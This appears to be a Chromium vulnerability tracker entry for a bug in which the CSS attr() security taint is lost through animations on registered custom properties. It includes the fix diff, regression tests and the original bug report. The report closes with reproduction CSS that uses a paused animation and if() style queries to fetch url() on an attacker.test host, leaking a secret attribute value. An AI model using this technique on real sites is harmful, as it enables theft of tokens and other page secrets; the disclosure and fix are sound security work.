Medium chrome Authorization Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactMissing authorization in Animation
DescriptionMissing authorization in Animation
ComponentAnimation
Sub-componentCss-animation
Bug ClassAuthorization Error
Tracker537109293
Fix commit3f1126bf1bf6 (chromium/src) +635/-131
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-20

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/animation/css_default_interpolation_type.cc
modified
CORE_EXPORT
third_party/blink/renderer/core/animation/css_default_interpolation_type.h
modified
if
third_party/blink/renderer/core/animation/css_interpolation_environment.cc
modified
cascade_resolver_
third_party/blink/renderer/core/animation/css_interpolation_environment.h
modified
animation_controls_style_
third_party/blink/renderer/core/animation/css_interpolation_environment.h
modified
ResolvedVariableChecker
third_party/blink/renderer/core/animation/css_interpolation_type.cc
modified
keyframe_tree_scope_
third_party/blink/renderer/core/animation/css_interpolation_type.cc
modified
initial_value_
third_party/blink/renderer/core/animation/css_interpolation_type.cc
modified
inherited_data_
third_party/blink/renderer/core/animation/css_interpolation_type.cc
modified
if
third_party/blink/renderer/core/animation/css_interpolation_type.cc
modified
ResolvedRegisteredCustomPropertyChecker
third_party/blink/renderer/core/animation/css_interpolation_type.cc
modified

Files Changed

  • third_party/blink/renderer/core/animation/css_default_interpolation_type.cc
  • third_party/blink/renderer/core/animation/css_interpolation_environment.h
  • third_party/blink/renderer/core/animation/transition_interpolation.cc
  • third_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.h
  • third_party/blink/renderer/core/animation/primitive_interpolation.h
  • third_party/blink/web_tests/external/wpt/css/css-values/attr-security-animation.html
  • third_party/blink/renderer/core/animation/invalidatable_interpolation.cc
  • third_party/blink/renderer/core/animation/css_interpolation_environment.cc
  • third_party/blink/renderer/core/animation/typed_interpolation_value.h
  • third_party/blink/renderer/core/animation/interpolation_type.h
  • third_party/blink/renderer/core/animation/pairwise_interpolation_value.h
  • third_party/blink/renderer/core/animation/css_interpolation_type.h
  • third_party/blink/renderer/core/animation/transition_keyframe.cc
  • third_party/blink/renderer/core/animation/css_default_interpolation_type.h
  • third_party/blink/renderer/core/animation/css/css_animations_test.cc
  • third_party/blink/renderer/core/animation/css/css_animations.cc
  • third_party/blink/renderer/core/animation/css_interpolation_type.cc
  • third_party/blink/renderer/core/animation/interpolation_value.h
  • third_party/blink/renderer/core/css/resolver/style_cascade.cc
  • third_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.cc
From 3f1126bf1bf68444c40fd12897a4cdd3be91b15a Mon Sep 17 00:00:00 2001
From: Kevin Ellis <[email protected]>
Date: Tue, 15 Sep 2026 12:03:42 -0700
Subject: [PATCH] [css-animation]: Fix tracking of attr-taint

Attr-taint was being tracked in CSSInterpolationEnvironment and in
CSSDefaultInterpolationValue, for transition and non-transition cases,
respectively. For CSS Animations, the taint may be caught after
creating of the environment and passing as a const reference to the
interpolation code. In addition, the signature of the resolve method
suggests the same environment may be shared. It was not, and this is
now clarified by baking the PropertyHandle into the environment.
Whether the value is tainted or not is now stored directly in the
interpolation value. This addresses both constness of the environment
and consolidation of the code paths.

Thanks to Yoshisato Yanagisawa for the prototype patch, which served
as a basis for this patch including tests.

Bug: 537109293
Change-Id: Ie5ced2263c5bc64a333ba47422e3552c3a965afa
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8405230
Reviewed-by: Rune Lillesveen <[email protected]>
Commit-Queue: Kevin Ellis <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1698281}
---
diff --git a/third_party/blink/renderer/core/animation/css/css_animations.cc b/third_party/blink/renderer/core/animation/css/css_animations.cc
index e3527d5a..5135d8e 100644
--- a/third_party/blink/renderer/core/animation/css/css_animations.cc
+++ b/third_party/blink/renderer/core/animation/css/css_animations.cc
@@ -2643,9 +2643,9 @@
   }
 
   InterpolationTypesMap map(registry, state.animating_element.GetDocument());
-  CSSInterpolationEnvironment old_environment(map, *state.before_change_style,
-                                              after_change_style);
-  CSSInterpolationEnvironment new_environment(map, after_change_style,
+  CSSInterpolationEnvironment old_environment(
+      property, map, *state.before_change_style, after_change_style);
+  CSSInterpolationEnvironment new_environment(property, map, after_change_style,
                                               after_change_style);
   const InterpolationType* transition_type = nullptr;
   InterpolationValue start = nullptr;
@@ -2734,14 +2734,12 @@
     }
     start = InterpolationValue(
         MakeGarbageCollected<InterpolableList>(0),
-        MakeGarbageCollected<CSSDefaultNonInterpolableValue>(
-            start_css_value,
-            CSSDefaultNonInterpolableValue::AttrTainted(is_attr_tainted)));
+        MakeGarbageCollected<CSSDefaultNonInterpolableValue>(start_css_value),
+        is_attr_tainted);
     end = InterpolationValue(
         MakeGarbageCollected<InterpolableList>(0),
-        MakeGarbageCollected<CSSDefaultNonInterpolableValue>(
-            end_css_value,
-            CSSDefaultNonInterpolableValue::AttrTainted(is_attr_tainted)));
+        MakeGarbageCollected<CSSDefaultNonInterpolableValue>(end_css_value),
+        is_attr_tainted);
   }
 
   // If the interpolated transform lists contain any singular matrices, a
@@ -2803,18 +2801,18 @@
       MakeGarbageCollected<TransitionKeyframe>(property);
   start_keyframe->SetValue(MakeGarbageCollected<TypedInterpolationValue>(
       transition_type, start.interpolable_value->Clone(),
-      start.non_interpolable_value));
+      start.non_interpolable_value, start.is_attr_tainted || is_attr_tainted));
   start_keyframe->SetOffset(0);
-  start_keyframe->SetIsAttrTainted(is_attr_tainted);
+  start_keyframe->SetIsAttrTainted(start.is_attr_tainted || is_attr_tainted);
   keyframes.push_back(start_keyframe);
 
   TransitionKeyframe* end_keyframe =
       MakeGarbageCollected<TransitionKeyframe>(property);
   end_keyframe->SetValue(MakeGarbageCollected<TypedInterpolationValue>(
       transition_type, end.interpolable_value->Clone(),
-      end.non_interpolable_value));
+      end.non_interpolable_value, end.is_attr_tainted || is_attr_tainted));
   end_keyframe->SetOffset(1);
-  end_keyframe->SetIsAttrTainted(is_attr_tainted);
+  end_keyframe->SetIsAttrTainted(end.is_attr_tainted || is_attr_tainted);
   keyframes.push_back(end_keyframe);
 
   if (property.GetCSSProperty().IsCompositableProperty() &&
diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc
index c4b90bfe..a05c79a 100644
--- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc
+++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.cc
@@ -7,15 +7,15 @@
 #include "third_party/blink/renderer/core/animation/css_interpolation_environment.h"
 #include "third_party/blink/renderer/core/animation/string_keyframe.h"
 #include "third_party/blink/renderer/core/animation/underlying_value_owner.h"
+#include "third_party/blink/renderer/core/css/css_unparsed_declaration_value.h"
 #include "third_party/blink/renderer/core/css/css_unset_value.h"
 #include "third_party/blink/renderer/core/css/resolver/style_builder.h"
 
 namespace blink {
 
 CSSDefaultNonInterpolableValue::CSSDefaultNonInterpolableValue(
-    const CSSValue* css_value,
-    AttrTainted is_attr_tainted)
-    : css_value_(css_value), is_attr_tainted_(is_attr_tainted) {
+    const CSSValue* css_value)
+    : css_value_(css_value) {
   DCHECK(css_value_);
 }
 
@@ -35,7 +35,7 @@
     return nullptr;
   }
 
-  css_value = environment.Resolve(GetProperty(), css_value, tree_scope);
+  css_value = environment.Resolve(css_value, tree_scope);
   if (!css_value) {
     // Custom property cycle. CSSDefaultInterpolationType *must* succeed
     // at creating a value (for non-neutral keyframes), since this
@@ -48,10 +48,18 @@
     css_value = cssvalue::CSSUnsetValue::Create();
   }
 
+  bool is_attr_tainted = false;
+  if (const auto* unparsed =
+          DynamicTo<CSSUnparsedDeclarationValue>(css_value)) {
+    if (unparsed->VariableDataValue()) {
+      is_attr_tainted = unparsed->VariableDataValue()->IsAttrTainted();
+    }
+  }
+
   return InterpolationValue(
       MakeGarbageCollected<InterpolableList>(0),
-      MakeGarbageCollected<CSSDefaultNonInterpolableValue>(
-          css_value, CSSDefaultNonInterpolableValue::AttrTainted(false)));
+      MakeGarbageCollected<CSSDefaultNonInterpolableValue>(css_value),
+      is_attr_tainted);
 }
 
 void CSSDefaultInterpolationType::Composite(
@@ -65,14 +73,14 @@
 void CSSDefaultInterpolationType::Apply(
     const InterpolableValue&,
     const NonInterpolableValue* non_interpolable_value,
-    CSSInterpolationEnvironment& environment) const {
+    CSSInterpolationEnvironment& environment,
+    bool is_attr_tainted) const {
   DCHECK(
       To<CSSDefaultNonInterpolableValue>(non_interpolable_value)->CssValue());
   CSSProperty::ValueModeFlags value_mode_flags =
       static_cast<CSSProperty::ValueModeFlags>(
           CSSProperty::ValueMode::kAnimated);
-  if (To<CSSDefaultNonInterpolableValue>(non_interpolable_value)
-          ->IsAttrTainted()) {
+  if (is_attr_tainted) {
     value_mode_flags |= static_cast<CSSProperty::ValueModeFlags>(
         CSSProperty::ValueMode::kAttrTainted);
   }
diff --git a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
index f0184af..4f22e961 100644
--- a/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
+++ b/third_party/blink/renderer/core/animation/css_default_interpolation_type.h
@@ -14,9 +14,7 @@
 class CORE_EXPORT CSSDefaultNonInterpolableValue final
     : public NonInterpolableValue {
  public:
-  using AttrTainted = base::StrongAlias<class AttrTaintedTag, bool>;
-  explicit CSSDefaultNonInterpolableValue(const CSSValue*,
-                                          AttrTainted is_attr_tainted);
+  explicit CSSDefaultNonInterpolableValue(const CSSValue*);
   ~CSSDefaultNonInterpolableValue() final = default;
 
   void Trace(Visitor* visitor) const override {
@@ -26,15 +24,10 @@
 
   const CSSValue* CssValue() const { return css_value_.Get(); }
 
-  bool IsAttrTainted() const { return is_attr_tainted_; }
-
   DECLARE_NON_INTERPOLABLE_VALUE_TYPE();
 
  private:
   Member<const CSSValue> css_value_;
-  // Interpolable types (e.g., <number>) are handled via TransitionKeyframe and
-  // CSSInterpolationEnvironment::IsAttrTainted() instead.
-  bool is_attr_tainted_;
 };
 
 template <>
@@ -86,7 +79,8 @@
 
   void Apply(const InterpolableValue&,
              const NonInterpolableValue*,
-             CSSInterpolationEnvironment&) const final;
+             CSSInterpolationEnvironment&,
+             bool is_attr_tainted = false) const final;
 };
 
 }  // namespace blink
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.cc b/third_party/blink/renderer/core/animation/css_interpolation_environment.cc
index 860cc91..fecb2703 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_environment.cc
+++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.cc
@@ -12,7 +12,6 @@
 namespace blink {
 
 const CSSValue* CSSInterpolationEnvironment::Resolve(
-    const PropertyHandle& property,
     const CSSValue* value,
     const TreeScope* tree_scope) const {
   DCHECK(cascade_);
@@ -21,7 +20,7 @@
     // TODO: If we support env() within @keyframe, we may need to support
     // non-nullptr env_bindings here.
     const CSSValue* resolved_value =
-        cascade_->Resolve(property.GetCSSPropertyName(), *value, tree_scope,
+        cascade_->Resolve(property_.GetCSSPropertyName(), *value, tree_scope,
                           /*env_bindings=*/nullptr, CascadeOrigin::kAnimation,
                           *cascade_resolver_);
     if (resolved_value) {
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_environment.h b/third_party/blink/renderer/core/animation/css_interpolation_environment.h
index 28d983d..d61e9e4 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_environment.h
+++ b/third_party/blink/renderer/core/animation/css_interpolation_environment.h
@@ -6,6 +6,7 @@
 #define THIRD_PARTY_BLINK_RENDERER_CORE_ANIMATION_CSS_INTERPOLATION_ENVIRONMENT_H_
 
 #include "third_party/blink/renderer/core/animation/interpolation_types_map.h"
+#include "third_party/blink/renderer/core/animation/property_handle.h"
 #include "third_party/blink/renderer/core/css/resolver/style_resolver_state.h"
 #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h"
 
@@ -19,28 +20,35 @@
   STACK_ALLOCATED();
 
  public:
-  CSSInterpolationEnvironment(const InterpolationTypesMap& map,
+  CSSInterpolationEnvironment(const PropertyHandle& property,
+                              const InterpolationTypesMap& map,
                               StyleResolverState& state,
                               StyleCascade* cascade,
                               CascadeResolver* cascade_resolver)
-      : interpolation_types_map_(map),
+      : property_(property),
+        interpolation_types_map_(map),
         state_(&state),
         base_style_(state.StyleBuilder().GetBaseComputedStyle()),
         animation_controls_style_(base_style_),
         cascade_(cascade),
         cascade_resolver_(cascade_resolver) {}
 
-  CSSInterpolationEnvironment(const InterpolationTypesMap& map,
+  CSSInterpolationEnvironment(const PropertyHandle& property,
+                              const InterpolationTypesMap& map,
                               StyleResolverState& state)
-      : interpolation_types_map_(map), state_(&state) {}
+      : property_(property), interpolation_types_map_(map), state_(&state) {}
 
-  CSSInterpolationEnvironment(const InterpolationTypesMap& map,
+  CSSInterpolationEnvironment(const PropertyHandle& property,
+                              const InterpolationTypesMap& map,
                               const ComputedStyle& base_style,
                               const ComputedStyle& animation_controls_style)
-      : interpolation_types_map_(map),
+      : property_(property),
+        interpolation_types_map_(map),
         base_style_(&base_style),
         animation_controls_style_(&animation_controls_style) {}
 
+  const PropertyHandle& GetProperty() const { return property_; }
+
   const InterpolationTypesMap& GetInterpolationTypesMap() const {
     return interpolation_types_map_;
   }
@@ -76,26 +84,16 @@
   // (if any).
   //
   // TODO(crbug.com/985023): This effective violates const.
-  const CSSValue* Resolve(const PropertyHandle&,
-                          const CSSValue*,
-                          const TreeScope*) const;
-
-  // Set by the caller of InterpolationType::Apply when one of the values
-  // being interpolated originated from attr(), so that the applied value can
-  // be marked as attr-tainted.
-  bool IsAttrTainted() const { return is_attr_tainted_; }
-  void SetIsAttrTainted(bool is_attr_tainted) {
-    is_attr_tainted_ = is_attr_tainted;
-  }
+  const CSSValue* Resolve(const CSSValue*, const TreeScope*) const;
 
  private:
+  PropertyHandle property_;
   const InterpolationTypesMap& interpolation_types_map_;
   StyleResolverState* state_ = nullptr;
   const ComputedStyle* base_style_ = nullptr;
   const ComputedStyle* animation_controls_style_ = nullptr;
   StyleCascade* cascade_ = nullptr;
   CascadeResolver* cascade_resolver_ = nullptr;
-  bool is_attr_tainted_ = false;
 };
 
 }  // namespace blink
diff --git a/third_party/blink/renderer/core/animation/css_interpolation_type.cc b/third_party/blink/renderer/core/animation/css_interpolation_type.cc
index 7bebe923..fe343d3b 100644
--- a/third_party/blink/renderer/core/animation/css_interpolation_type.cc
+++ b/third_party/blink/renderer/core/animation/css_interpolation_type.cc
@@ -61,7 +61,7 @@
   bool IsValid(const CSSInterpolationEnvironment& environment,
                const InterpolationValue&) const final {
     const CSSValue* resolved_value =
-        environment.Resolve(property_, unresolved_value_, keyframe_tree_scope_);
+        environment.Resolve(unresolved_value_, keyframe_tree_scope_);
     return base::ValuesEquivalent(resolved_value_.Get(), resolved_value);
   }
 
@@ -73,12 +73,10 @@
 
 class ResolvedVariableChecker : public CSSInterpolationType::ConversionChecker {
  public:
-  ResolvedVariableChecker(CSSPropertyID property,
-                          const CSSValue* variable_reference,
+  ResolvedVariableChecker(const CSSValue* variable_reference,
                           const CSSValue* resolved_value,
                           const TreeScope* keyframe_tree_scope)
-      : property_(property),
-        variable_reference_(variable_reference),
+      : variable_reference_(variable_reference),
         resolved_value_(resolved_value),
         keyframe_tree_scope_(keyframe_tree_scope) {}
 
@@ -95,12 +93,10 @@
     // TODO(alancutter): Just check the variables referenced instead of doing a
     // full CSSValue resolve.
     const CSSValue* resolved_value =
-        environment.Resolve(PropertyHandle(CSSProperty::Get(property_)),
-                            variable_reference_, keyframe_tree_scope_);
+        environment.Resolve(variable_reference_, keyframe_tree_scope_);
     return base::ValuesEquivalent(resolved_value_.Get(), resolved_value);
   }
 
-  CSSPropertyID property_;
   Member<const CSSValue> variable_reference_;
   Member<const CSSValue> resolved_value_;
   Member<const TreeScope> keyframe_tree_scope_;
@@ -112,16 +108,19 @@
   InheritedCustomPropertyChecker(const AtomicString& name,
                                  bool is_inherited_property,
                                  const CSSValue* inherited_value,
-                                 const CSSValue* initial_value)
+                                 const CSSValue* initial_value,
+                                 const CSSVariableData* inherited_data)
       : name_(name),
         is_inherited_property_(is_inherited_property),
         inherited_value_(inherited_value),
-        initial_value_(initial_value) {}
+        initial_value_(initial_value),
+        inherited_data_(inherited_data) {}
 
   void Trace(Visitor* visitor) const final {
     CSSInterpolationType::ConversionChecker::Trace(visitor);
     visitor->Trace(inherited_value_);
     visitor->Trace(initial_value_);
+    visitor->Trace(inherited_data_);
   }
 
  private:
@@ -132,13 +131,19 @@
     if (!inherited_value) {
       inherited_value = initial_value_.Get();
     }
-    return base::ValuesEquivalent(inherited_value_.Get(), inherited_value);
+    if (!base::ValuesEquivalent(inherited_value_.Get(), inherited_value)) {
+      return false;
+    }
+    const CSSVariableData* inherited_data =
+        state.ParentStyle()->GetVariableData(name_, is_inherited_property_);
+    return base::ValuesEquivalent(inherited_data_.Get(), inherited_data);
   }
 
   AtomicString name_;
   const bool is_inherited_property_;
   Member<const CSSValue> inherited_value_;
   Member<const CSSValue> initial_value_;
+  Member<const CSSVariableData> inherited_data_;
 };
 
 class ResolvedRegisteredCustomPropertyChecker
@@ -161,7 +166,7 @@
   bool IsValid(const CSSInterpolationEnvironment& environment,
                const InterpolationValue&) const final {
     const CSSValue* resolved =
-        environment.Resolve(property_, value_, keyframe_tree_scope_);
+        environment.Resolve(value_, keyframe_tree_scope_);
     CSSVariableData* resolved_tokens = nullptr;
     if (const auto* decl = DynamicTo<CSSUnparsedDeclarationValue>(resolved)) {
       resolved_tokens = decl->VariableDataValue();
@@ -202,9 +207,8 @@
  private:
   bool IsValid(const CSSInterpolationEnvironment& environment,
                const InterpolationValue&) const final {
-    const CSSValue* current_resolved_value =
... (file diff truncated)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/animation/css/css_animations_test.cc b/third_party/blink/renderer/core/animation/css/css_animations_test.cc
index 04039f8a..5130160 100644
--- a/third_party/blink/renderer/core/animation/css/css_animations_test.cc
+++ b/third_party/blink/renderer/core/animation/css/css_animations_test.cc
@@ -3612,4 +3612,327 @@
   EXPECT_TRUE(source.has_untracked_dependencies);
 }
 
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyNeutralKeyframe) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes hold {
+        to { --n: 0; }
+      }
+      #target {
+        --n: attr(data-value type(<number>));
+        animation: hold 1000s linear paused;
+      }
+      #control {
+        --n: 42;
+        animation: hold 1000s linear paused;
+      }
+    </style>
+    <div id="target" data-value="42"></div>
+    <div id="control"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* target_data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(target_data);
+  if (target_data) {
+    EXPECT_TRUE(target_data->IsAttrTainted());
+  }
+
+  Element* control = GetDocument().getElementById(AtomicString("control"));
+  EXPECT_TRUE(control);
+  const CSSVariableData* control_data =
+      control
+          ? control->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+          : nullptr;
+  EXPECT_TRUE(control_data);
+  if (control_data) {
+    EXPECT_FALSE(control_data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyNeutralEndKeyframe) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes hold_end {
+        from { --n: 0; }
+      }
+      #target {
+        --n: attr(data-value type(<number>));
+        animation: hold_end 1000s linear paused;
+      }
+      #control {
+        --n: 42;
+        animation: hold_end 1000s linear paused;
+      }
+    </style>
+    <div id="target" data-value="42"></div>
+    <div id="control"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* target_data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(target_data);
+  if (target_data) {
+    EXPECT_TRUE(target_data->IsAttrTainted());
+  }
+
+  Element* control = GetDocument().getElementById(AtomicString("control"));
+  EXPECT_TRUE(control);
+  const CSSVariableData* control_data =
+      control
+          ? control->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+          : nullptr;
+  EXPECT_TRUE(control_data);
+  if (control_data) {
+    EXPECT_FALSE(control_data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyKeyframeValue) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes anim {
+        from { --n: attr(data-value type(<number>)); }
+        to { --n: 100; }
+      }
+      #target {
+        animation: anim 1000s linear paused;
+      }
+    </style>
+    <div id="target" data-value="42"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(data);
+  if (data) {
+    EXPECT_TRUE(data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest,
+       AttrTaintedRegisteredPropertyVariableReferenceKeyframe) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes anim_var {
+        from { --n: var(--src); }
+        to { --n: 100; }
+      }
+      #target {
+        --src: attr(data-value type(<number>));
+        animation: anim_var 1000s linear paused;
+      }
+    </style>
+    <div id="target" data-value="42"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(data);
+  if (data) {
+    EXPECT_TRUE(data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyCompositionAdd) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes add_anim {
+        from { --n: 0; }
+        to { --n: 0; }
+      }
+      #target {
+        --n: attr(data-value type(<number>));
+        animation: add_anim 1000s linear paused;
+        animation-composition: add;
+      }
+    </style>
+    <div id="target" data-value="42"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(data);
+  if (data) {
+    EXPECT_TRUE(data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedRegisteredPropertyLength) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --p {
+        syntax: "<length>";
+        inherits: false;
+        initial-value: 0px;
+      }
+      @keyframes hold_length {
+        to { --p: 0px; }
+      }
+      #target {
+        --p: attr(data-value type(<length>));
+        animation: hold_length 1000s linear paused;
+      }
+    </style>
+    <div id="target" data-value="42px"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--p"))
+             : nullptr;
+  EXPECT_TRUE(data);
+  if (data) {
+    EXPECT_TRUE(data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedInheritedRegisteredProperty) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: true;
+        initial-value: 0;
+      }
+      @keyframes hold_inherit {
+        from { --n: inherit; }
+        to { --n: 100; }
+      }
+      #parent {
+        --n: attr(data-value type(<number>));
+      }
+      #target {
+        animation: hold_inherit 1000s linear paused;
+      }
+    </style>
+    <div id="parent" data-value="42">
+      <div id="target"></div>
+    </div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(data);
+  if (data) {
+    EXPECT_TRUE(data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, ReplaceAnimationWithoutAttrDoesNotTaint) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes replace_anim {
+        from { --n: 10; }
+        to { --n: 20; }
+      }
+      #target {
+        --n: attr(data-value type(<number>));
+        animation: replace_anim 1000s linear paused;
+      }
+    </style>
+    <div id="target" data-value="42"></div>
+  )HTML");
+
+  Element* target = GetDocument().getElementById(AtomicString("target"));
+  EXPECT_TRUE(target);
+  const CSSVariableData* data =
+      target ? target->GetComputedStyle()->GetVariableData(AtomicString("--n"))
+             : nullptr;
+  EXPECT_TRUE(data);
+  if (data) {
+    EXPECT_FALSE(data->IsAttrTainted());
+  }
+}
+
+TEST_P(CSSAnimationsTest, AttrTaintedStyleQueryUrlBlocking) {
+  SetBodyInnerHTML(R"HTML(
+    <style>
+      @property --n {
+        syntax: "<number>";
+        inherits: false;
+        initial-value: 0;
+      }
+      @keyframes hold {
+        to { --n: 0; }
... (truncated)
Loading diff…

Original Bug Report

reported by [email protected]

Bypass of CSS attr() security taint via CSS Animations on registered custom properties

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A potential logic flaw in Blink’s CSS animation system allows the security taint of attr() values to be bypassed. When an animation on a registered custom property depends on the underlying base style (such as via neutral keyframes or animation-composition: add), the taint is not propagated through InvalidatableInterpolation. This can potentially allow an attacker with a CSS injection primitive to exfiltrate sensitive DOM attribute values using conditional style queries and url() fetches.

Affected files:

  • third_party/blink/renderer/core/animation/invalidatable_interpolation.cc
  • third_party/blink/renderer/core/animation/css_interpolation_type.cc
  • third_party/blink/renderer/core/css/properties/longhands/custom_property.cc

Estimated timestamp from git blame: 2024-09-23

Potential Security Bypass of CSS attr() Taint via InvalidatableInterpolation and Neutral Keyframes

Summary

We have identified a potential vulnerability in Blink’s CSS animation engine that permits the laundering of the CSS attr() security-taint bit. The attr() taint mechanism (defined in CSS Values Level 5) is designed to prevent CSS injection attacks from exfiltrating sensitive DOM attributes (such as CSRF tokens or nonces) by restricting attr() usage within url() contexts. However, when an animation uses the underlying base-style value via neutral keyframes (missing from or to rules) or animation-composition: add, the taint state is potentially lost, enabling unauthorized data exfiltration via static CSS.

Note: These are potential steps and behaviors identified via static source code analysis; our automated tooling does not currently have the capability to execute and run the code to produce a live proof-of-concept.


Technical Details & Root Cause

When resolving registered custom properties, the computed value is stored in two representations on ComputedStyle:

  1. CSSVariableData: Holds unparsed/substituted tokens, which retains the IsAttrTainted() state (defined in third_party/blink/renderer/core/css/css_variable_data.h).
  2. CSSValue: Holds the parsed typed representation (e.g., CSSNumericLiteralValue for <number> syntax), which lacks any taint propagation flag.

During style cascades containing CSS animations, StyleCascade::Apply executes two passes:

  1. Base pass: Parses --n: attr(data-secret type(<number>)), correctly setting the IsAttrTainted() flag on its CSSVariableData.
  2. Animated pass: Applies animations via InvalidatableInterpolation::ApplyStack (third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:322).

The Laundering Flow:

  1. If an animation on the registered custom property --n depends on the underlying base-style value (e.g., due to a neutral keyframe or animation-composition: add), DependsOnUnderlyingValue() returns true (see invalidatable_interpolation.cc:118-121).
  2. ApplyStack resolves the underlying value via first_interpolation.MaybeConvertUnderlyingValue(environment).
  3. CSSInterpolationType::MaybeConvertUnderlyingValue (third_party/blink/renderer/core/animation/css_interpolation_type.cc:414-428) retrieves the base-style’s value:
    const CSSValue* underlying_value = style.GetVariableValue(name, Registration().Inherits());
    
    This retrieves the typed, untainted CSSValue representation (the loop-hole).
  4. A fresh CSSInterpolationEnvironment is created with its default is_attr_tainted_ flag set to false. Unlike TransitionInterpolation::Apply, which explicitly plumbs the transition’s taint via environment.SetIsAttrTainted(), InvalidatableInterpolation::ApplyStack does not set the environment’s taint.
  5. When CSSInterpolationType::ApplyCustomPropertyValue executes, environment.IsAttrTainted() returns false, so StyleBuilder::ApplyProperty is invoked without the ValueMode::kAttrTainted flag.
  6. Consequently, CustomProperty::ApplyValue creates a brand new CSSVariableData representing the same numeric value but with is_attr_tainted = false, overwriting the previously tainted base data.
  7. Subsequently, any conditional logic evaluating the custom property (such as CSS if() style functions) reads the newly animated, untainted variable data, allowing associated url() rules to pass the parsing gate at css_parsing_utils.cc:2020 and trigger an outbound HTTP fetch.

Potential Steps to Reproduce

An attacker leveraging a CSS injection vulnerability on a target page with <div data-secret="7193"> could potentially run the following attack sequence:

  1. Define a registered <number> property:
    @property --n { syntax: "<number>"; inherits: false; initial-value: 0; }
    
  2. Configure a paused CSS animation with a neutral keyframe:
    @keyframes hold { to { --n: 0; } }
    
  3. Attach the animation and the attr()-derived property to the target element:
    [data-secret] {
      --n: attr(data-secret type(<number>));
      animation: hold 1e9s paused;
      background-image: if(style(--n > 5000): url(https://attacker.test/gt); else: url(https://attacker.test/lte));
    }
    
